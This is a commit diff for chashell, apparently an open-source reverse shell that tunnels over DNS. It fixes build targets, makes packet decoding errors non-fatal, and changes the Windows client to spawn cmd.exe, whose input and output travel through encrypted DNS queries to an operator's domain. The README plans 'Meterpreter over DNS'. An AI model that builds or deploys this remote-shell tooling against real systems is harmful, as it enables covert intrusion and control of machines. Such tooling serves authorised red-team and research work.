Fix Makefile, use cmd.exe instead of powershell.exe for Windows, cleanup.

Author: Nicolas Chatelain

Makefile

@@ -1,6 +1,6 @@
 
-SERVER_SOURCE=cmd/server/chaserv.go
-CLIENT_SOURCE=cmd/shell/chashell.go
+SERVER_SOURCE=./cmd/server
+CLIENT_SOURCE=./cmd/shell
 LDFLAGS="-X main.targetDomain=$(DOMAIN_NAME) -X main.encryptionKey=$(ENCRYPTION_KEY) -s -w"
 GCFLAGS="all=-trimpath=$GOPATH"
 
@@ -12,7 +12,7 @@ OSARCH = "linux/amd64 linux/386 linux/arm windows/amd64 windows/386 darwin/amd64
 .DEFAULT: help
 
 help: ## Show Help
-    @grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}'
+	@grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}'
 
 check-env: ## Check if necessary environment variables are set.
 ifndef DOMAIN_NAME
@@ -25,7 +25,7 @@ endif
 build: check-env ## Build for the current architecture.
 	dep ensure && \
 	go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -o release/$(CLIENT_BINARY) $(CLIENT_SOURCE) && \
-	go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) $(LDFLAGS) -o release/$(SERVER_BINARY) $(SERVER_SOURCE)
+	go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -o release/$(SERVER_BINARY) $(SERVER_SOURCE)
 
 dep: check-env ## Get all the required dependencies
 	go get -v -u github.com/golang/dep/cmd/dep && \
@@ -44,5 +44,9 @@ build-server: check-env ## Build the chashell server.
 
 build-all: check-env build-client build-server ## Build everything.
 
-proto:
-	protoc -I=proto/ --go_out=lib/protocol chacomm.proto
+proto: ## Build the protocol buffer file
+	protoc -I=proto/ --go_out=lib/protocol chacomm.proto
+
+clean: ## Remove all the generated binaries
+	rm -f release/chaserv*
+	rm -f release/chashell*

README.md

@@ -18,7 +18,7 @@ Asymmetric cryptography is **planned**.
 
 ### Protocol
 
-Chashell communicate using [Protocol Buffers](https://developers.google.com/protocol-buffers/) serialized messages. The .proto file is available in the **proto** folder.
+Chashell communicate using [Protocol Buffers](https://developers.google.com/protocol-buffers/) serialized messages. The Protocol Buffers message format (.proto file) is available in the **proto** folder.
 
 Here is a (simplified) communication chart :
 
@@ -117,6 +117,8 @@ cmd.Run()
 
 ## To Do
 
-* Implement asymmetric cryptography ([Curve25519](https://en.wikipedia.org/wiki/Curve25519), [XSalsa20](https://en.wikipedia.org/wiki/Salsa20) and [Poly1305](https://en.wikipedia.org/wiki/Poly1305))
+* Implement asymmetric cryptography ([Curve25519](https://en.wikipedia.org/wiki/Curve25519), [XSalsa20](https://en.wikipedia.org/wiki/Salsa20) and [Poly1305](https://en.wikipedia.org/wiki/Poly1305)).
 * Retrieve the hostname using the InfoPacket message.
-* Create a "proxy/relay" tool in order to tunnel TCP/UDP streams. (Meterpreter over DNS !)
+* Create a "proxy/relay" tool in order to tunnel TCP/UDP streams (Meterpreter over DNS !).
+* Protection against denial of service attacks.
+* Use less dependencies.

cmd/shell/chashell.go

@@ -15,7 +15,7 @@ func main() {
 	var cmd *exec.Cmd
 
 	if runtime.GOOS == "windows" {
-		cmd = exec.Command("powershell.exe")
+		cmd = exec.Command("cmd.exe")
 	} else {
 		cmd = exec.Command("/bin/sh", "-c", "/bin/sh")
 	}

lib/crypto/symetric.go

@@ -8,22 +8,15 @@ import (
 )
 
 func Seal(payload []byte, secretKey string) (nonce [24]byte, message []byte) {
-	/*
-		Generate a 24 byte nonce
-	*/
+	// Generate a 24 byte nonce
 	if _, err := io.ReadFull(rand.Reader, nonce[:]); err != nil {
 		panic(err)
 	}
 
-	/*
-		Seal message using XSalsa20 + Poly1305
-	*/
+	// Seal message using XSalsa20 + Poly1305
 	var secret [32]byte
 
-	/*
-		Decode the symetric encryption key.
-	*/
-
+	// Decode the symetric encryption key.
 	secretKeyBytes, err := hex.DecodeString(secretKey)
 	if err != nil {
 		panic(err)
@@ -36,17 +29,12 @@ func Seal(payload []byte, secretKey string) (nonce [24]byte, message []byte) {
 }
 
 func Open(payload []byte, in_nonce []byte, secretKey string) (output []byte, valid bool) {
-	/*
-		Seal message using XSalsa20 + Poly1305
-	*/
+	// Seal message using XSalsa20 + Poly1305
 	var secret [32]byte
 	var nonce [24]byte
 	var out []byte
 
-	/*
-		Decode the symetric encryption key.
-	*/
-
+	// Decode the symetric encryption key.
 	secretKeyBytes, err := hex.DecodeString(secretKey)
 	if err != nil {
 		panic(err)

lib/transport/encoding.go

@@ -23,27 +23,31 @@ func Decode(payload string, encryptionKey string) (output []byte, complete bool)
 	dataPacketRaw, err := hex.DecodeString(payload)
 
 	if err != nil {
-		log.Fatal("Invalid packet.\n")
+		log.Println("Invalid packet.\n")
+		return
 	}
 
 	// Check if the packet is big enough to fit the nonce.
 	if len(dataPacketRaw) <= 24 {
-		log.Fatal("Received packet is too small!\n")
+		log.Println("Received packet is too small!\n")
+		return
 	}
 
 	// Authenticate and decrypt the packet.
 	output, valid := crypto.Open(dataPacketRaw[24:], dataPacketRaw[:24], encryptionKey)
 
 	// Raise an error if the message is invalid.
 	if !valid {
-		log.Fatal("Received invalid/corrupted packet.\n")
+		log.Println("Received invalid/corrupted packet.\n")
+		return
 	}
 
 	// Parse the "Message" part of the Protocol buffer packet.
 	message := &protocol.Message{}
 	if err := proto.Unmarshal(output, message); err != nil {
 		// This should not append.
-		log.Fatalln("Failed to parse message packet:", err)
+		log.Printf("Failed to parse message packet: %v\n", err)
+		return
 	}
 
 	// Process the message depending of his type.

lib/transport/polling.go

@@ -21,6 +21,7 @@ func pollRead(stream dnsStream) {
 
 func poll(stream dnsStream) {
 
+	// Create a "polling" request.
 	pollQuery := &protocol.Message{
 		Clientguid: stream.clientGuid,
 		Packet: &protocol.Message_Pollquery{
@@ -50,7 +51,7 @@ func poll(stream dnsStream) {
 			log.Printf("Final data: %s\n", output)
 			packetQueue <- output
 		} else {
-			/* More data available. Get it !*/
+			// More data available. Get it!
 			poll(stream)
 		}